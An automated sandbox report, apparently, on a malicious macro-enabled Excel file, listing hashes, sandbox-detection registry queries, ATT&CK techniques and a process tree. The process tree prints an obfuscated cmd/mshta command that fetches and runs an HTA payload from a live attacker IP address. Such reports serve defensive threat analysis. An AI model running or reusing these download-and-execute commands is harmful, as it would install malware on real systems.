c80a32c49ac7bde59c31966abd4db02186a8fa1cb19f389a95c909243a438e70

General

Target

c80a32c49ac7bde59c31966abd4db02186a8fa1cb19f389a95c909243a438e70.xlsm
Size

112KB
MD5

aa9024b6219f678650836159f61ef986
SHA1

8074a6282469e5ae5d231a5835bd4afc722762e4
SHA256

c80a32c49ac7bde59c31966abd4db02186a8fa1cb19f389a95c909243a438e70
SHA512

22f39f495ffd1624810101620046a81df874b3f81c37b7b3c9f98e5378f40098b4bd446960da28d09aba87a4588ba43c967a7e5af2485af289fb7be7ea8220ce

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://92.255.57.195/ru/ru.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3124	1268	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

50 3576 mshta.exe

flow	pid	process
50	3576	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1268 EXCEL.EXE

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

EXCEL.EXE

pid	process
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE
1268	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 1268 wrote to memory of 3124	1268	EXCEL.EXE	cmd.exe
PID 1268 wrote to memory of 3124	1268	EXCEL.EXE	cmd.exe
PID 3124 wrote to memory of 3576	3124	cmd.exe	mshta.exe
PID 3124 wrote to memory of 3576	3124	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c80a32c49ac7bde59c31966abd4db02186a8fa1cb19f389a95c909243a438e70.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1268
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3124
- - C:\Windows\system32\mshta.exe
    mshta http://92.255.57.195/ru/ru.html
    3⤵
    - Blocklisted process makes network request
    PID:3576

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1268-115-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Filesize
64KB

Download
memory/1268-116-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Filesize
64KB

Download
memory/1268-117-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Filesize
64KB

Download
memory/1268-118-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Filesize
64KB

Download
memory/1268-119-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Filesize
64KB

Download
memory/1268-128-0x00007FFB7FCD0000-0x00007FFB7FCE0000-memory.dmp

Filesize
64KB

Download
memory/1268-129-0x00007FFB7FCD0000-0x00007FFB7FCE0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads